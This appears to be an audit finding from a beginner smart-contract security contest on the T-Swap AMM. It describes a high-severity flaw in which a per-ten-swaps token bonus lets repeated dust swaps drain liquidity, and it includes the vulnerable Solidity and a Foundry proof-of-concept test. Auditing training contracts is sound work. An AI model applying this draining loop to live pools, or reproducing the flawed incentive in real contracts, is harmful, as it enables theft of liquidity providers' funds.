First Flight #18: T-Swap

First Flight #18
Beginner FriendlyDeFiFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Swap Count incentive can be used to empty contract via dust transactions

[H-5] Swap Count incentive can be used to empty contract via dust transactions

Description:
The internal _swap function contains logic that rewards users every 10 transactions. This mechanism can be exploited by performing numerous "dust" swaps—transactions involving very small amounts—to deplete the liquidity of the contract. This exploitation not only breaks the fundamental invariant of automated market makers (AMMs), where the product of the quantities of the two assets (X*Y = K), but also facilitates the theft of liquidity provider (LP) funds.

function _swap(
IERC20 inputToken,
uint256 inputAmount,
IERC20 outputToken,
uint256 outputAmount
) private {
if (
_isUnknown(inputToken) ||
_isUnknown(outputToken) ||
inputToken == outputToken
) {
revert TSwapPool__InvalidToken();
}
swap_count++;
@> if (swap_count >= SWAP_COUNT_MAX) {
@> swap_count = 0;
@> outputToken.safeTransfer(msg.sender, 1_000_000_000_000_000_000);
@> }
emit Swap(
msg.sender,
inputToken,
inputAmount,
outputToken,
outputAmount
);
inputToken.safeTransferFrom(msg.sender, address(this), inputAmount);
outputToken.safeTransfer(msg.sender, outputAmount);
}

Impact:
The primary consequence of this vulnerability is the violation of the core AMM invariant, leading to significant disruptions in the functioning of the liquidity pool. Moreover, malicious actors can drain the contract of its liquidity, effectively stealing funds from unsuspecting LPs. This breach of trust can severely damage the reputation of the platform and deter future participation.

Proof of Concept:
Although formal verification or stateful fuzz testing could rigorously prove this vulnerability, a simpler demonstration involves executing a series of minimal transactions to accumulate rewards disproportionately to the value contributed to the pool. Here's a conceptual test illustrating the exploit:

function testEmptyWithDustTransactions() public {
//lp deposits 100e18 of both tokens
vm.startPrank(liquidityProvider);
weth.approve(address(pool), 100e18);
poolToken.approve(address(pool), 100e18);
pool.deposit(100e18, 100e18, 100e18, uint64(block.timestamp));
vm.stopPrank();
vm.startPrank(user);
poolToken.approve(address(pool), UINT256_MAX);
for (uint256 i; i < 100; i++) {
pool.swapExactInput(poolToken, 1, weth, 0, uint64(block.timestamp));
} // 10*swap_incentive = 10e18 should be added to user's weth
console.log(poolToken.balanceOf(user));
console.log(weth.balanceOf(user));
// Logs:
// 9_999_999_999_999_999_900 // almost 10e18 PT
// 20_000_000_000_000_000_000 // 20e18 WETH ( attacker got twice initial balance 10e18)
assert(weth.balanceOf(user) > 10e18);
}

Recommended Mitigation:
To safeguard against this vulnerability, the incentive mechanism tied to transaction counts should be removed. Instead, consider alternative methods to incentivize users to perform swaps within your AMM. These could include tiered fee structures based on volume, loyalty programs, or other mechanisms that do not reward based solely on the frequency of transactions. Such alternatives can ensure that incentives align with the health and sustainability of the liquidity pool, discouraging exploitative behavior while still encouraging participation.

Updates

Appeal created

inallhonesty Lead Judge 12 months ago
Submission Judgement Published
Validated
Assigned finding tags:

In `TSwapPool::_swap` the extra tokens given to users after every swapCount breaks the protocol invariant of x * y = k

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.